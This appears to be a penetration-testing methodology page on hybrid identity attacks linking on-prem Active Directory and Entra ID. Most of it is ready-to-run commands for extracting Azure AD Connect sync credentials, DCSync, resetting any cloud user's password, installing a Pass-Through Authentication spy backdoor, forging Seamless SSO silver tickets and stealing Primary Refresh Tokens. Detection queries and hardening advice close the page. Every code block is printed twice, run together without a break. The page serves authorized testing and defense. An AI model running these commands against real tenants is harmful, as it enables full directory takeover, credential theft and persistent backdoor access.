Hybrid Identity Attacks
Most enterprises connect on-prem Active Directory to Entra ID (Azure AD) using hybrid identity solutions. Azure AD Connect, Pass-Through Authentication, Seamless SSO, and Primary Refresh Tokens create new attack paths between on-prem and cloud — compromising one side often gives access to the other. This is the #1 modern gap in internal pentest methodology.
Danger
📚 Quick Navigation
🔄 Azure AD Connect
🎯 Why Hybrid Identity Is the #1 Attack Gap
- On-Prem → Cloud: Azure AD Connect servers store cleartext cloud admin credentials — compromising one gives Global Admin in the tenant.
- Cloud → On-Prem: Cloud-only Global Admins can DCSync on-prem AD via the AD Connect sync account.
- Invisible Backdoors: PTA agent backdoors allow authentication as ANY user without leaving traditional logs.
- Universal Deployment: 90%+ of enterprise M365 tenants use Azure AD Connect — this attack surface exists in almost every engagement.
Azure AD Connect Architecture
Azure AD Connect synchronizes identities between on-prem AD and Entra ID. It creates two critical service accounts:
| Account | Where | Privileges | Impact |
|---|---|---|---|
| MSOL_* / AAD_* | On-Prem AD | Replicating Directory Changes (DCSync) | Full AD compromise via DCSync |
| Sync_*@tenant.onmicrosoft.com | Entra ID | Directory Synchronization / Global Admin equivalent | Cloud tenant takeover, password reset any user |
Extracting Azure AD Connect Credentials
AADInternals (PowerShell)
# Must run on the Azure AD Connect server as local admin
Import-Module AADInternals
# Extract sync credentials (MSOL_ and cloud connector account)
Get-AADIntSyncCredentials
# Use the MSOL account for DCSync
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local'
# Use the cloud sync account for tenant access
Connect-AzureAD -Credential (Get-Credential)
# Login as Sync_SERVER_abc123@contoso.onmicrosoft.com# Must run on the Azure AD Connect server as local admin
Import-Module AADInternals
# Extract sync credentials (MSOL_ and cloud connector account)
Get-AADIntSyncCredentials
# Use the MSOL account for DCSync
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local'
# Use the cloud sync account for tenant access
Connect-AzureAD -Credential (Get-Credential)
# Login as Sync_SERVER_abc123@contoso.onmicrosoft.comInformation
Get-AADIntSyncCredentials returns cleartext credentials for both the on-prem MSOL_ sync
account (DCSync rights) and the cloud Sync_ connector account (can reset any cloud user's password).
Manual Database Extraction
# Azure AD Connect stores credentials in a LocalDB or SQL database
# Default path: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Using adconnectdump (from Fox-IT/dirkjanm)
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server
# From a remote machine with network access to the AAD Connect server
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server \
-outputfile aadconnect_creds.txt
# If DPAPI-protected, use the machine key to decrypt
# dpapi.py can extract the key from the machine certificates# Azure AD Connect stores credentials in a LocalDB or SQL database
# Default path: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Using adconnectdump (from Fox-IT/dirkjanm)
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server
# From a remote machine with network access to the AAD Connect server
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server \
-outputfile aadconnect_creds.txt
# If DPAPI-protected, use the machine key to decrypt
# dpapi.py can extract the key from the machine certificatesSync Account Abuse
# On-prem: MSOL_ account has DCSync rights
# DCSync all hashes
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local' \
-just-dc
# Cloud: Sync account can reset passwords and set passwords
# Reset any cloud user's password
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Set-AADIntUserPassword -AccessToken $token \
-SourceAnchor "<base64-objectGUID>" \
-Password "NewPassword123!" -Verbose
# Or set password directly by UPN
Reset-AADIntServicePassword -AccessToken $token \
-UserPrincipalName "globaladmin@contoso.com"# On-prem: MSOL_ account has DCSync rights
# DCSync all hashes
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local' \
-just-dc
# Cloud: Sync account can reset passwords and set passwords
# Reset any cloud user's password
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Set-AADIntUserPassword -AccessToken $token \
-SourceAnchor "<base64-objectGUID>" \
-Password "NewPassword123!" -Verbose
# Or set password directly by UPN
Reset-AADIntServicePassword -AccessToken $token \
-UserPrincipalName "globaladmin@contoso.com"Warning
Pass-Through Authentication (PTA) Backdoor
PTA agents validate cloud authentication requests against on-prem AD. If you compromise a PTA agent server, you can install a backdoor that accepts any password for any user — providing invisible authentication bypass to the entire cloud tenant. A rogue PTA agent can also be registered from any machine you control.
# Install PTA backdoor (on PTA agent server, as local admin)
Import-Module AADInternals
Install-AADIntPTASpy
# View intercepted credentials (logs real passwords)
Get-AADIntPTASpyLog
# Remove the backdoor
Remove-AADIntPTASpy
# Register a rogue PTA agent from any machine
Register-AADIntPTAAgent -MachineName "YOURPC" -FileName "PTA-cert.pfx"# Install PTA backdoor (on PTA agent server, as local admin)
Import-Module AADInternals
Install-AADIntPTASpy
# View intercepted credentials (logs real passwords)
Get-AADIntPTASpyLog
# Remove the backdoor
Remove-AADIntPTASpy
# Register a rogue PTA agent from any machine
Register-AADIntPTAAgent -MachineName "YOURPC" -FileName "PTA-cert.pfx"Information
Seamless SSO Silver Ticket
Seamless SSO creates a computer account AZUREADSSOACC in on-prem AD. Its Kerberos decryption key
is shared with Entra ID to validate Kerberos tickets. If you extract this key, you can forge silver tickets
to authenticate as any synced user to Azure/M365 without knowing their password.
# Step 1: Extract AZUREADSSOACC password hash (requires DCSync or DA)
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
-just-dc-user 'AZUREADSSOACC$'
# Step 2: Forge Silver Ticket for any user
# SPN: HTTP/autologon.microsoftazuread-sso.com
ticketer.py -nthash <AZUREADSSOACC-hash> \
-domain-sid S-1-5-21-domain \
-domain corp.local \
-spn HTTP/autologon.microsoftazuread-sso.com \
-user-id <target-user-objectSid-RID> \
admin@corp.local
# Step 3: Use the ticket to get Azure access token
# Submit the Kerberos ticket to the SSO endpoint
# AADInternals automates this:
Import-Module AADInternals
$kerberos = New-AADIntKerberosTicket -SidString "S-1-5-21-...-1234" \
-Hash "<AZUREADSSOACC-hash>"
$at = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos \
-Domain corp.local
# $at is now a valid Azure access token for that user# Step 1: Extract AZUREADSSOACC password hash (requires DCSync or DA)
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
-just-dc-user 'AZUREADSSOACC$'
# Step 2: Forge Silver Ticket for any user
# SPN: HTTP/autologon.microsoftazuread-sso.com
ticketer.py -nthash <AZUREADSSOACC-hash> \
-domain-sid S-1-5-21-domain \
-domain corp.local \
-spn HTTP/autologon.microsoftazuread-sso.com \
-user-id <target-user-objectSid-RID> \
admin@corp.local
# Step 3: Use the ticket to get Azure access token
# Submit the Kerberos ticket to the SSO endpoint
# AADInternals automates this:
Import-Module AADInternals
$kerberos = New-AADIntKerberosTicket -SidString "S-1-5-21-...-1234" \
-Hash "<AZUREADSSOACC-hash>"
$at = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos \
-Domain corp.local
# $at is now a valid Azure access token for that userWarning
Update-AzureADSSOForest.
Primary Refresh Token (PRT) Theft
The Primary Refresh Token is a long-lived token issued to Azure AD joined or hybrid-joined devices. It provides SSO to all Azure/M365 services and satisfies the "device is compliant" Conditional Access check. Stealing a PRT gives full access to a user's cloud resources with device compliance bypass.
# Check PRT status on a device
dsregcmd /status
# Look for: AzureAdPrt: YES
# Method 1: ROADtools — extract PRT via browser cookie (requires user session)
# Uses the BrowserCore.exe helper to get PRT cookie
roadtx prt --username user@contoso.com
# Method 2: Mimikatz — extract PRT from CloudAP plugin
sekurlsa::cloudap
# Extracts ProofOfPossessionCookie (PRT)
# Requires SYSTEM + user session
# Method 3: RequestSecurityToken via ROADtoken
# Registers a new device and gets a PRT
roadtx auth -u user@contoso.com -p Password1
roadtx device -a register -n "Rogue Device"
roadtx prt -a request
# Use stolen PRT to get access tokens
roadtx prt -a access -r https://graph.microsoft.com
# Pass PRT cookie in browser (x-ms-RefreshTokenCredential header)
# Use with browser extensions or mitmproxy to inject the PRT cookie# Check PRT status on a device
dsregcmd /status
# Look for: AzureAdPrt: YES
# Method 1: ROADtools — extract PRT via browser cookie (requires user session)
# Uses the BrowserCore.exe helper to get PRT cookie
roadtx prt --username user@contoso.com
# Method 2: Mimikatz — extract PRT from CloudAP plugin
sekurlsa::cloudap
# Extracts ProofOfPossessionCookie (PRT)
# Requires SYSTEM + user session
# Method 3: RequestSecurityToken via ROADtoken
# Registers a new device and gets a PRT
roadtx auth -u user@contoso.com -p Password1
roadtx device -a register -n "Rogue Device"
roadtx prt -a request
# Use stolen PRT to get access tokens
roadtx prt -a access -r https://graph.microsoft.com
# Pass PRT cookie in browser (x-ms-RefreshTokenCredential header)
# Use with browser extensions or mitmproxy to inject the PRT cookiePassword Hash Sync (PHS) Abuse
With PHS, password hashes are synced from on-prem AD to the cloud. The Azure AD Connect server has access to all password hashes. The MSOL_ sync account can perform DCSync to extract all on-prem hashes.
# Extract cloud-synced hashes (requires Sync account credentials)
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Get-AADIntSyncObjects -AccessToken $token -Type User |
Select-Object UserPrincipalName, SourceAnchor, CloudAnchor
# Extract the synchronization encryption key
Get-AADIntSyncEncryptionKey# Extract cloud-synced hashes (requires Sync account credentials)
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Get-AADIntSyncObjects -AccessToken $token -Type User |
Select-Object UserPrincipalName, SourceAnchor, CloudAnchor
# Extract the synchronization encryption key
Get-AADIntSyncEncryptionKeyDetection & Blue Team
| Attack | Detection Source | Indicator |
|---|---|---|
| AAD Connect credential theft | Windows Security Log | Suspicious logon to AAD Connect server, database access |
| PTA backdoor | Entra ID Audit Logs | New PTA agent registration, authentication from unexpected IPs |
| Seamless SSO ticket | Entra ID Sign-In Logs | SSO authentication from unexpected networks or devices |
| PRT theft | Entra ID + Endpoint | PRT usage from non-registered device, anomalous location |
| Sync account password reset | Entra ID Audit Logs | Password change by Sync_ account — should never happen outside maintenance |
// KQL — Detect new PTA agent registrations
AuditLogs
| where OperationName == "Register connector"
| where ActivityDisplayName has "PassThroughAuthentication"
| project TimeGenerated, InitiatedBy, TargetResources, ResultDescription
// KQL — Detect Sync account suspicious activity
SigninLogs
| where UserPrincipalName startswith "Sync_"
| where AppDisplayName != "Azure Active Directory Connect"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress
// KQL — Detect AZUREADSSOACC Kerberos ticket forgery
// Monitor for SSO logins from unexpected IP ranges
SigninLogs
| where AuthenticationDetails has "seamlessSSO"
| where IPAddress !in (expected_corporate_ranges)
| project TimeGenerated, UserPrincipalName, IPAddress, DeviceDetail// KQL — Detect new PTA agent registrations
AuditLogs
| where OperationName == "Register connector"
| where ActivityDisplayName has "PassThroughAuthentication"
| project TimeGenerated, InitiatedBy, TargetResources, ResultDescription
// KQL — Detect Sync account suspicious activity
SigninLogs
| where UserPrincipalName startswith "Sync_"
| where AppDisplayName != "Azure Active Directory Connect"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress
// KQL — Detect AZUREADSSOACC Kerberos ticket forgery
// Monitor for SSO logins from unexpected IP ranges
SigninLogs
| where AuthenticationDetails has "seamlessSSO"
| where IPAddress !in (expected_corporate_ranges)
| project TimeGenerated, UserPrincipalName, IPAddress, DeviceDetailHardening Recommendations
Tier 0 Protection for AAD Connect
Treat AAD Connect servers as Tier 0 assets. Restrict admin access, enable MFA, and monitor all logons.
Rotate AZUREADSSOACC Key
Rotate the Seamless SSO key every 30 days using Update-AzureADSSOForest.
Monitor PTA Agent Registration
Alert on new PTA agent registrations in Entra ID audit logs — should only happen during planned deployments.
Consider Cloud-Only Auth
Where possible, migrate to cloud-managed authentication (FIDO2, Passkeys) to eliminate the on-prem attack surface.